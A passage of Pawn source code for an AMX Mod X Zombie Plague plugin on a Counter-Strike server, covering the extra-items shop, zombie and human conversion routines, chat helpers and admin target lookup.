                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (get_user_jetpack(iPlayer))
                                {
                                        user_drop_jetpack(iPlayer, 1);
                                }
                                set_user_jetpack(iPlayer, 1);
                                set_user_fuel(iPlayer, 250.0);
                                set_user_rocket_time(iPlayer, 0.0);
                                PrintToChat(iPlayer, "^x04[ZP]^x01 Press^x03 CTR+SPACE^x01 to fly!");
                                PrintToChat(iPlayer, "^x04[ZP]^x01 Press^x03 RIGHT CLICK^x01 to shoot!");
                                g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
                        }
                        case 12:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (g_bUnlimitedClip[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        g_bUnlimitedClip[iPlayer] = true;
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
                                }
                        }
                        case 13:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (120 < get_armor(iPlayer))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        set_armor(iPlayer, get_armor(iPlayer) + 100);
                                        sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
                                }
                        }
                        case 14:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                if (120 < get_armor(iPlayer))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
                                        return 0;
                                }
                                else
                                {
                                        set_armor(iPlayer, get_armor(iPlayer) + 200);
                                        sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
                                        g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                        set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                        ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
                                }
                        }
                        case 15:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                g_iJumpsNum[iPlayer]++;
                                g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iJumpsNum[iPlayer] + 1);
                        }
                        case 16:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                g_cClass[iPlayer] = "Tryder";
                                g_bTryder[iPlayer] = true;
                                strip_user_weapons(iPlayer);
                                set_armor(iPlayer, 777);
                                set_health(iPlayer, 777);               
                                give_weapon(iPlayer, "weapon_knife");
                                give_weapon(iPlayer, "weapon_deagle");
                                give_weapon(iPlayer, "weapon_xm1014");
                                give_weapon(iPlayer, "weapon_g3sg1");
                                give_weapon(iPlayer, "weapon_ak47");
                                give_weapon(iPlayer, "weapon_m4a1");
                                give_weapon(iPlayer, "weapon_hegrenade");
                                give_weapon(iPlayer, "weapon_flashbang");
                                give_weapon(iPlayer, "weapon_smokegrenade");
                                give_ammo(iPlayer, 26, 9999);
                                give_ammo(iPlayer, 5, 9999);
                                give_ammo(iPlayer, 24, 9999);
                                give_ammo(iPlayer, 28, 9999);
                                give_ammo(iPlayer, 22, 9999);
                                g_bUnlimitedClip[iPlayer] = true;
                                set_glow(iPlayer, 19, 13, 250, 10, 175);
                                sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
                                ExecuteHamB(Ham_Item_PreFrame, iPlayer);
                                g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
                                PrintToChat(0, "^x04[ZP]^x03 %s^x01 is now a^x04 Tryder", g_cName[iPlayer]);
                        }
                        case 17:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                static cTime;
                                static iTime[3];
                                get_time("%H", iTime, 2);
                                cTime = str_to_num(iTime);
                                if (iSurvivors)
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 There already was a survivor this map!");
                                        return 0;
                                }
                                else
                                {
                                        if (bAlreadyBought[iPlayer])
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
                                                return 0;
                                        }
                                        if (get_gametime() - g_fRoundStartTime < 2.0)
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
                                                return 0;
                                        }
                                        if (cTime >= 22 || cTime <= 10)
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x03 Survivor ^x01it's unavailable between^x04 22:00^x01 and^x04 10:00");
                                                return 0;
                                        }
                                        if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
                                        {
                                                g_bRoundStart = false;
                                                bAlreadyBought[iPlayer] = 1;
                                                iSurvivors += 1;
                                                remove_task(550);
                                                StartSurvivorMode(iPlayer);
                                                remove_task(700);
                                                g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                                set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                                ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor !!!", g_cName[iPlayer]);
                                                PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Survivor", g_cName[iPlayer]);
                                        }
                                        else
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
                                                return 0;
                                        }
                                }
                        }
                        case 18:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                static cTime;
                                static iTime[3];
                                get_time("%H", iTime, 2);
                                cTime = str_to_num(iTime);
                                if (iSnipers)
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 There already was a sniper this map!");
                                        return 0;
                                }
                                else
                                {
                                        if (bAlreadyBought[iPlayer])
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
                                                return 0;
                                        }
                                        if (get_gametime() - g_fRoundStartTime < 2.0)
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
                                                return 0;
                                        }
                                        if (cTime >= 22 || cTime <= 10)
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x03 Sniper ^x01it's unavailable between^x04 22:00^x01 and^x04 10:00");
                                                return 0;
                                        }
                                        if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
                                        {
                                                g_bRoundStart = false;
                                                bAlreadyBought[iPlayer] = 1;
                                                iSnipers += 1;
                                                remove_task(550);
                                                StartSniperMode(iPlayer);
                                                remove_task(700);
                                                g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                                set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                                ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper !!!", g_cName[iPlayer]);
                                                PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Sniper", g_cName[iPlayer]);
                                        }
                                        else
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
                                                return 0;
                                        }
                                }
                        }
                        case 19:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if (bAlreadyBought[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
                                        return 0;
                                }
                                else
                                {
                                        if (get_gametime() - g_fRoundStartTime < 2.0)
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
                                                return 0;
                                        }
                                        if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
                                        {
                                                g_bRoundStart = false;
                                                bAlreadyBought[iPlayer] = 1;
                                                remove_task(550);
                                                StartNemesisMode(iPlayer);
                                                remove_task(700);
                                                g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                                set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                                ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis !!!", g_cName[iPlayer]);
                                                PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Nemesis", g_cName[iPlayer]);
                                        }
                                        else
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
                                                return 0;
                                        }
                                }
                        }
                        case 20:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if (bAlreadyBought[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
                                        return 0;
                                }
                                else
                                {
                                        if (get_gametime() - g_fRoundStartTime < 2.0)
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
                                                return 0;
                                        }
                                        if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
                                        {
                                                g_bRoundStart = false;
                                                bAlreadyBought[iPlayer] = 1;
                                                remove_task(550);
                                                StartAssassinMode(iPlayer);
                                                remove_task(700);
                                                g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                                set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                                ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
                                                PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Assassin !!!", g_cName[iPlayer]);
                                        }
                                        else
                                        {
                                                PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
                                                return 0;
                                        }
                                }
                        }
                        case 21:
                        {
                                if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
                                        return 0;
                                }
                                if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
                                {
                                        PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
                                        return 0;
                                }
                                g_iBlinks[iPlayer] += 5;
                                g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
                                set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
                                ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Knife Blinks!", g_cName[iPlayer]);
                        }       
                }
        }
        return 0;
}

GetZombies()
{
        static iZombies;
        static i;
        iZombies = 0;
        i = 0;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bZombie[i] && g_bAlive[i])
                {
                        iZombies += 1;
                }
                i += 1;
        }
        return iZombies;
}

GetHumans()
{
        static iHumans;
        static i;
        iHumans = 0;
        i = 0;
        while (g_iMaxClients + 1 > i)
        {
                if (!g_bZombie[i] && g_bAlive[i])
                {
                        iHumans += 1;
                }
                i += 1;
        }
        return iHumans;
}

MessageLog(iReceiver, cMessage[], any:...)
{
        static cBuffer[192];
        vformat(cBuffer, 191, cMessage, 3);
        if (iReceiver)
        {
                send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
        }
        else
        {
                static i;
                i = 1;
                while (g_iMaxClients + 1 > i)
                {
                        if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i))
                        {
                                send_say_text(i, g_iMaxClients + 1, cBuffer);
                        }
                        i += 1;
                }
        }
        log_amx("^"%s^"", cBuffer);
        return 0;
}

PrintToChat(iReceiver, cMessage[], any:...)
{
        static cBuffer[192];
        vformat(cBuffer, 191, cMessage, 3);
        if (iReceiver)
        {
                send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
        }
        else
        {
                static i;
                i = 1;
                while (g_iMaxClients + 1 > i)
                {
                        if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i))
                        {
                                send_say_text(i, g_iMaxClients + 1, cBuffer);
                        }
                        i += 1;
                }
        }
        return 0;
}

bool:GetAccess(iPlayer, iLevel, iNum)
{
        static bool:bDone;
        bDone = true;
        if (!(iLevel & get_user_flags(iPlayer)))
        {
                bDone = false;
                console_print(iPlayer, "You have no access to that command");
        }
        else
        {
                if (iNum > read_argc())
                {
                        bDone = false;
                        console_print(iPlayer, "Wrong ussage. The command needs %d arguments", iNum + -1);
                }
        }
        return bDone;
}

GetTarget(iPlayer, cTarget[], iFlags)
{
        static iTarget;
        static bool:bDone;
        static done;
        bDone = false;
        iTarget = find_player("bl", cTarget);
        if (iTarget && find_player("blj", cTarget) != iTarget)
        {
                console_print(iPlayer, "There are more clients matching to your argument");
                return 0;
        }
        if (cTarget[0] == 35)
        {
                iTarget = GetUserIdMatch(cTarget);
        }
        if (!iTarget)
        {
                console_print(iPlayer, "Client with that name or userid not found");
                return 0;
        }
        bDone = true;
        if (iFlags & 4 && get_user_flags(iTarget) & 1 && iTarget != iPlayer)
        {
                bDone = false;
                console_print(iPlayer, "Client %s has immunity", g_cName[iTarget]);
        }
        if (iFlags & 2 && !g_bAlive[iTarget])
        {
                bDone = false;
                console_print(iPlayer, "That action can't be performed on dead client %s", g_cName[iTarget]);
        }
        if (!(iFlags & 1) && g_bFake[iTarget])
        {
                bDone = false;
                console_print(iPlayer, "That action can't be performed on bot %s", g_cName[iTarget]);
        }
        if (bDone)
        {
                done = iTarget;
        }
        else
        {
                done = 0;
        }
        return done;
}

GetUserIdMatch(cTarget[])
{
        static cNumber[32];
        static iTarget;
        static i;
        copy(cNumber, 32, cTarget[1]);
        iTarget = str_to_num(cNumber);
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bConnected[i] && get_user_userid(i) == iTarget)
                {
                        return i;
                }
                i += 1;
        }
        return 0;
}

xs_vec_mul_scalar(Float:fVec[], Float:fScalar, Float:fOut[])
{
    fOut[0] = fVec[0] * fScalar;
    fOut[1] = fVec[1] * fScalar;
    fOut[2] = fVec[2] * fScalar;
    return 0;
}

xs_vec_add(Float:fFirst[], Float:fSecond[], Float:fOut[])
{
    fOut[0] = fFirst[0] + fSecond[0];
    fOut[1] = fFirst[1] + fSecond[1];
    fOut[2] = fFirst[2] + fSecond[2];
    return 0;
}

Float:GetSpeed(iEntity)
{
        static Float:fVelocity[3];
        get_velocity(iEntity, fVelocity);
        return vector_length(fVelocity);
}

CheckLastPlayer(iPlayer)
{
        if (g_bRoundEnd || task_exists(550))
        {
                return 0;
        }
        static i;
        static iPlayersNum;
        iPlayersNum = GetAliveCount();
        if (iPlayersNum < 2)
        {
                return 0;
        }
        if (g_bZombie[iPlayer] && GetZombies() == 1)
        {
                if (GetHumans() == 1)
                {
                        return 0;
                }
                do {
                } while (iPlayer == (i = GetRandomAlive()));
                PrintToChat(0, "^x04[ZP]^x01 Last zombie,^x03 %s^x01 disconnected,^x04 %s^x01 is the last zombie!", g_cName[iPlayer], g_cName[i]);
                switch (g_iPlayerType[iPlayer])
                {
                        case 0:
                        {
                                MakeZombie(0, i, false, false, false);
                        }
                        case 1:
                        {
                                MakeZombie(0, i, false, true, false);
                                set_health(i, get_health(iPlayer));
                        }
                        case 2:
                        {
                                MakeZombie(0, i, false, false, true);
                                set_health(i, get_health(iPlayer));
                        }       
                }
        }
        else
        {
                if (!g_bZombie[iPlayer] && GetHumans() == 1)
                {
                        if (GetZombies() == 1)
                        {
                                return 0;
                        }
                        do {
                        } while (iPlayer == (i = GetRandomAlive()));
                        PrintToChat(0, "^x04[ZP]^x01 Last human,^x03 %s^x01 disconnected,^x04 %s^x01 is the last human!", g_cName[iPlayer], g_cName[i]);
                        switch (g_iPlayerType[iPlayer])
                        {
                                case 0:
                                {
                                        MakeHuman(i, false, false);
                                }
                                case 4:
                                {
                                        MakeHuman(i, true, false);
                                        set_health(i, get_health(iPlayer));
                                }
                                case 8:
                                {
                                        MakeHuman(i, false, true);
                                        set_health(i, get_health(iPlayer));
                                }                       
                        }
                }
        }
        return 0;
}

GetAliveCount()
{
        static iCount;
        static i;
        iCount = 0;
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bAlive[i])
                {
                        iCount += 1;
                }
                i += 1;
        }
        return iCount;
}

GetRandomAlive()
{
        static j;
        static i;
        static iPlayers[32];
        j = 0;
        i = 1;
        while (g_iMaxClients + 1 > i)
        {
                if (g_bAlive[i])
                {
                        iPlayers[j] = i;
                        j += 1;
                }
                i += 1;
        }
        return iPlayers[random_num(0, j + -1)];
}

MakeZombie(iAttacker, iVictim, bool:bSilent, bool:bNemesis, bool:bAssassin)
{
        if (g_iZombieNextClass[iVictim] == -1)
        {
                menu_display(iVictim, g_iMenuZombieClasses);
        }
        g_iZombieClass[iVictim] = g_iZombieNextClass[iVictim];
        if (g_iZombieClass[iVictim] == -1)
        {
                g_iZombieClass[iVictim] = 0;
        }
        if (get_user_jetpack(iVictim))
        {
                user_drop_jetpack(iVictim, 1);
        }
        g_bZombie[iVictim] = true;
        set_zombie(iVictim, true);
        g_iBurningDuration[iVictim] = 0;
        g_iPlayerType[iVictim] = 0;
        g_bNoDamage[iVictim] = false;
        remove_glow(iVictim);
        remove_task(iVictim + 200);
        remove_task(iVictim + 250);
        g_cClass[iVictim] = g_cZombieClasses[g_iZombieClass[iVictim]];

        if (iAttacker)
        {
                send_death_msg(iAttacker, iVictim);
                send_score_attrib(iVictim);
                set_frags(iAttacker, get_frags(iAttacker) + 1);
                set_deaths(iVictim, get_deaths(iVictim) + 1);
                send_score_info(iAttacker);
                send_score_info(iVictim);
                g_iPacks[iAttacker]++;
                if (g_iZombieClass[iAttacker] == 6)
                {
            set_health(iAttacker, get_health(iAttacker) + 250);
            send_implosion(iAttacker);
            send_screen_fade(iAttacker,  255, 10, 10, 94);
            set_glow(iAttacker, 19, 13, 255, 10, 10);
            set_task(3.0, "TaskRemoveRender", iAttacker, "", 0, "", 0);
            set_hudmessage(0, 255, 0, -1.00, 0.10, 1, 0.00, 1.75, 1.00, 1.00, -1);
            ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== HUNTER ==^n!!!!Regeneration: +250 HP Gained!!!");
                }
                if (g_iZombieClass[iAttacker] == 3)
                {
            set_health(iAttacker, get_health(iAttacker) + 500);
            send_screen_fade(iAttacker,  64, 180, 0, 94);
            set_hudmessage(220, 235, 10, 0.12, 0.30, 1, 0.00, 1.75, 1.00, 1.00, -1);
            ShowSyncHudMsg(iAttacker, g_iTopMessageSync, "== MUTANT ==^n!!!!Regeneration: +500 HP Gained!!!");
                }
        }
        if (!bSilent)
        {
                if (bNemesis)
                {
                        g_iPlayerType[iVictim] |= 1;
                        set_health(iVictim, 150000);
                        set_glow(iVictim, 19, 25, 255, 0, 0);
                        g_cClass[iVictim] = "Nemesis"

                }
                else if (bAssassin)
                {
                        g_iPlayerType[iVictim] |= 2;
                        set_health(iVictim, 25000);
                        g_cClass[iVictim] = "Assassin"

                }
                else if (GetZombies() == 1 && !g_iPlayerType[iVictim])
                {
                        set_health(iVictim, floatround(float(g_iZombieHealths[g_iZombieClass[iVictim]]) * 2.25, floatround_round));
                        sound(iVictim, 2, g_cZombieInfectSounds[random_num(0, 4)]);
                }
                else
                {
                        set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
                        sound(iVictim, 2, g_cZombieInfectSounds[random_num(0, 4)]);
                        set_hudmessage(255, 0, 0, 0.05, 0.45, 0, 0.00, 5.00, 1.00, 1.00, -1);
                        if (iAttacker)
                        {
                            ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten by %s...", g_cName[iVictim], g_cName[iAttacker]);
                        }
                        else
                        {
                            ShowSyncHudMsg(0, g_iLeftMessageSync, "%s's brains have been eaten...", g_cName[iVictim]);
                        }
                }
        }
        else
        {
                set_health(iVictim, g_iZombieHealths[g_iZombieClass[iVictim]]);
        }
        if (get_team(iVictim) != 1)
        {
                set_team(iVictim, 1);
        }
        static Float:fCurrentTime;
        fCurrentTime = get_gametime();
        if (fCurrentTime - g_fLastChangedModel >= 0.25)
        {
        ChangeModel(iVictim + 250);
        g_fLastChangedModel = fCurrentTime;
        }
        else
        {
        set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iVictim + 250, "", 0, "", 0);
        g_fLastChangedModel = g_fLastChangedModel + 0.25;
        }       
        if (g_iPlayerType[iVictim])
        {
                send_fov(iVictim, 110);
                set_monster(iVictim, true);
        }
        else
        {
                if (g_iZombieClass[iVictim] == 4)
                {
                        g_iJumpsNum[iVictim] = 1;
                }
        }
        send_screen_fade(iVictim,  150, 0, 0, 255);
        send_screen_shake(iVictim, 150000 , 25000, 135000);
        send_damage(iVictim, 65536);
        send_implosion(iVictim);
        send_particle_burst(iVictim);
        send_light(iVictim);
        Task_EnableFlash(iVictim);
        strip_user_weapons(iVictim);
        reset_armor(iVictim);
        give_weapon(iVictim, "weapon_knife");
        ExecuteHamB(Ham_Item_PreFrame, iVictim);
        return 0;
}

MakeHuman(iPlayer, bool:bSurvivor, bool:bSniper)
{
        remove_task(iPlayer + 200);
        remove_task(iPlayer + 350);
        remove_task(iPlayer + 250);
        g_bCanBuy[iPlayer] = 1;
        g_bNoDamage[iPlayer] = false;
        g_bFlashEnabled[iPlayer] = false;
        g_bFlash[iPlayer] = false;
        g_bFrozen[iPlayer] = false;
        g_bZombie[iPlayer] = false;
        g_iBurningDuration[iPlayer] = 0;
        g_iPlayerType[iPlayer] = 0;
        send_fov(iPlayer, 90);
        set_zombie(iPlayer, false);
        g_cClass[iPlayer] = "Human";
        strip_user_weapons(iPlayer);
        give_weapon(iPlayer, "weapon_knife");
        remove_glow(iPlayer);
        if (bSurvivor)
        {
                g_iPlayerType[iPlayer] |= 4;
                set_health(iPlayer, 3000);
                give_weapon(iPlayer, "weapon_m4a1");
                give_ammo(iPlayer, 22, 9999);
                give_weapon(iPlayer, "weapon_ak47");
                give_ammo(iPlayer, 28, 9999);
                give_weapon(iPlayer, "weapon_xm1014");
                give_ammo(iPlayer, 5, 9999);
                if (!user_has_weapon(iPlayer, 4, -1))
                {
                        give_weapon(iPlayer, "weapon_hegrenade");
                }
                g_cClass[iPlayer] = "Survivor";
        }
        else if (bSniper)
        {
                g_iPlayerType[iPlayer] |= 8;
                set_health(iPlayer, 3000);
                give_weapon(iPlayer, "weapon_awp");
                give_ammo(iPlayer, 18, 9999);
                set_glow(iPlayer, 19, 13, 200, 200, 0);               
                g_cClass[iPlayer] = "Sniper";
        }
        else
        {
                set_health(iPlayer, 150);
                menu_display(iPlayer, g_iPrimaryMenu);
                send_teleport(iPlayer);
                sound(iPlayer, 3, "zombie_plague/antidote.wav");
                set_hudmessage(10, 255, 235, 0.05, 0.45, 1, 0.00, 5.00, 1.00, 1.00, -1);
                ShowSyncHudMsg(0, g_iLeftMessageSync, "%s has used an antidote!", g_cName[iPlayer]);
        }
        if (get_team(iPlayer) != 2)
        {
                set_team(iPlayer, 2);
        }
        static Float:fCurrentTime;
        fCurrentTime = get_gametime();
        if (fCurrentTime - g_fLastChangedModel >= 0.25)
        {
        ChangeModel(iPlayer + 250);
        g_fLastChangedModel = fCurrentTime;
        }
        else
        {
        set_task(g_fLastChangedModel + 0.25 - fCurrentTime, "ChangeModel", iPlayer + 250, "", 0, "", 0);
        g_fLastChangedModel = g_fLastChangedModel + 0.25;
        }       
        ExecuteHamB(Ham_Item_PreFrame, iPlayer);
        return 0;
}

InsertInfo(iPlayer)
{
        if (0 < g_iSize)
        {
                static iLast;
                iLast = 0;
                if (g_iSize < 10)
                {
                        iLast = g_iSize + -1;
                }
                else
                {
                        iLast = g_iTracker + -1;
                        if (0 > iLast)
                        {
                                iLast = g_iSize + -1;
                        }
                }
                if (equal(g_cPlayerAddress[iPlayer], g_cAddresses[iLast]))
                {
                        copy(g_cLNames[iLast], 32, g_cName[iPlayer]);
                        return 0;
                }
        }
        static iTarget;
        iTarget = 0;
        if (g_iSize < 10)
        {
                iTarget = g_iSize;
                g_iSize += 1;
        }
        else
        {
                iTarget = g_iTracker;
                g_iTracker += 1;
                if (g_iTracker == 10)
                {
                        g_iTracker = 0;
                }
        }
        copy(g_cLNames[iTarget], 32, g_cName[iPlayer]);
        copy(g_cAddresses[iTarget], 24, g_cPlayerAddress[iPlayer]);
        return 0;
}

GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
{
        static iTarget;
        iTarget = i + g_iTracker % 10;
        copy(cName, iNameSize, g_cLNames[iTarget]);
        copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
        return 0;
}

AddCommas(Num, Output[], Len)
{
  static Tmp[16], OutputPos = 0, NumPos = 0, NumLen = 0;
  OutputPos = NumPos = 0;
  if (Num < 0)
  {
      Output[OutputPos++] = '-';
      Num = abs(Num);
  }
  NumLen = num_to_str(Num, Tmp, charsmax(Tmp));
  if (NumLen <= 3)
  {
      OutputPos += copy(Output[OutputPos], Len, Tmp);
  }
  else
  {
      while (NumPos < NumLen && OutputPos < Len)
      {
        Output[OutputPos++] = Tmp[NumPos++];
        if (NumLen - NumPos && !((NumLen - NumPos) % 3))
                {
            Output[OutputPos++] = ',';
                }
      }
      Output[OutputPos] = '^0';
  }
}

public Update_Client_Data(id)
{
    if(!(pev( id, pev_button ) & IN_SCORE ) && !( pev( id, pev_oldbuttons ) & IN_SCORE ) )
        return;
   
    static player, sending;
    sending = 0;
    static iStarted;
   
    for( player = 1; player <= g_iMaxClients; player++ )
    {
        if( !is_user_connected( player ) )
            continue;
       
        switch( sending )
        {
            case 0:
            {
                if ((iStarted = ping(id)))
                                {
